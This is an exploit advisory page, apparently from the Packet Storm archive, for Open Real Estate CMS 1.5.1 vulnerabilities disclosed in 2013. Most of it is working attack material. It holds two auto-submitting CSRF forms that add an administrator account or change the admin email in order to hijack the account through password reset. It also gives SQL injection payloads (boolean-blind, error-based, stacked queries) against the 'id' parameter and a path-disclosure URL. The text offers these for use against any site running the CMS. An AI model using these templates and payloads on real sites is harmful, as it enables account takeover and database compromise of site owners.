what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Open Real Estate CMS 1.5.1 CSRF / Path Disclosure / SQL Injection

Open Real Estate CMS 1.5.1 CSRF / Path Disclosure / SQL Injection
Posted Aug 9, 2013
Authored by Yashar shahinzadeh

Open Real Estate CMS version 1.5.1 suffers from cross site request forgery, path disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, file inclusion, info disclosure, csrf
SHA-256 | 18a7cc01027a952a1c8ff2f3d301acd72b126bdb325df567f52c713fc167c5d4

Open Real Estate CMS 1.5.1 CSRF / Path Disclosure / SQL Injection

Change Mirror Download
###################################################################################################################################
# Exploit Title: Open Real Estate CMS - Multiple vilnerabilities
# Date: 2013 9 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://monoray.net/products/6-open-real-estate
# Tested on: Linux & Windows, PHP 5.3.4
# Affected Version : 1.5.1
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF - Adding/Editing administrator account
2. MySQL Injection
3. Local path disclosure

1. CSRF - Adding/Editing administrator account:
===============================================
Following exploits can be used against any site installed "Open Real Estate" CMS.

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/OpenRealEstateV1.5.1_en/users/backend/main/create" method="post">
<input type="hidden" name="User[username]" value="yashar">
<input type="hidden" name="User[email]" value="y.shahinzadeh@gmail.com">
<input type="hidden" name="User[phone]" value="09169189680">
<input type="hidden" name="User[additional_info_en]" value="">
<input type="hidden" name="User[password]" value="6658912">
<input type="hidden" name="User[password_repeat]" value="6658912">
<input type="hidden" name="yt0" value="">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>

Once the exploit is excuted, an email will send to attacker's email containing activation link. Additionally, for modifying, the administrator's ID is 1, so attack may change the administrator's email address, then he/she may use forget password option and go through administrator panel.

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/OpenRealEstateV1.5.1_en/users/backend/main/update?id=1" method="post">
<input type="hidden" name="User[username]" value="admin">
<input type="hidden" name="User[email]" value="y.shahinzadeh@gmail.com">
<input type="hidden" name="User[phone]" value="09169189680">
<input type="hidden" name="User[additional_info_en]" value="">
<input type="hidden" name="yt0" value="">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>



2. MySQL Injection:
===================
An attacker may conduct an attack by using MySQL injection after authentication so as to get higher access like uploading a shell script or etc... I just show the injection point and a small example of devastiating usage of it:

http://localhost/OpenRealEstateV1.5.1_en/apartments/backend/main/view=[Injection payload]

POC:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: id=" RLIKE IF(7309=7309,0x4d7953514c,0x28) AND "ymsG"="ymsG

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=" AND (SELECT 1454 FROM(SELECT COUNT(*),CONCAT(0x3a6b62653a,(SELECT (CASE WHEN (1454=1454) THEN 1 ELSE 0 END)),0x3a6c66753a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KASA"="KASA

Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: id="; SELECT SLEEP(5)--
---



3. Local path disclosure:
=========================
There are some pages that are big leads to knowing local path, the path is valuable and can be used in Injection and... I would give an instance only:

http://localhost/OpenRealEstateV1.5.1_en/apartments/backend/main/view


/** Yasshar shahinzadeh **/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close